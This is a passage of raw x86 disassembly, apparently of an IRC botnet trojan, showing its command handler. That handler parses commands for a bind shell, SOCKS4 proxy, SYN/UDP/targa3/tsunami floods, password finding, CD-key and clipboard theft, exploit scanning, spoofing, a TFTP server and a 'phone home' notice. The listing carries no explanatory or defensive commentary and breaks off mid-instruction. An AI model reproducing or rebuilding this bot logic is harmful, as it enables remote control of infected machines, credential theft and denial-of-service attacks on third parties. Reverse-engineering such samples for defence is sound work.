lea eax, [ebp+var_4AF0] push offset asc_42CA60 ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42CA60 ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42C6A0 loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C678 jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C65C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C640 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42C62C push offset dword_42C620 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42C600 push offset dword_42C5F0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42C5E4 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42C5D8 push offset dword_42C5CC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42C5B8 push offset dword_42C5AC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42C590 push offset dword_42C580 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42C564 push offset dword_42C554 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42C53C push offset dword_42C530 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C5D8 push offset dword_42C5CC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42C5B8 push offset dword_42C5AC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42C518 push offset dword_42C50C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42C500 push offset dword_42C4F4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42C564 push offset dword_42C554 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42C53C push offset dword_42C530 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42C4E4 push offset dword_42C4D4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42C4C4 push offset dword_42C4B4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42C590 push offset dword_42C580 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42C480 push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42C4E4 push offset dword_42C4D4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42C4C4 push offset dword_42C4B4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42C518 push offset dword_42C50C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42C500 push offset dword_42C4F4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C438 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C3E8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C3C4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C3A4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C2E0 jnz short loc_403191 mov eax, offset unk_42C2B8 loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C1F8 push offset dword_42C1EC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C1E8 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C1D4 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C1A0 call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C16C push eax mov dword_4CE758, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C0C4 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aAsn445 ; "asn445" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C050 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h nop call near ptr 2670F10h jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j nop call near ptr 26807C8h push eax push offset unk_42C014 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_43161A mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_43161A jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42BFD4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431438, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431438 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431438[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CAF48 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB030 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D158 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF54 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h call near ptr 2670F10h nop jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j nop call near ptr 26807C8h push eax lea eax, [ebp+var_2C4] push offset unk_42BF18 push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42BEE0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42BEC0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx nop call near ptr 2670000h loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42BE8C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 2670F10h jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej nop call near ptr 26807C8h push eax push offset unk_42BE50 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short 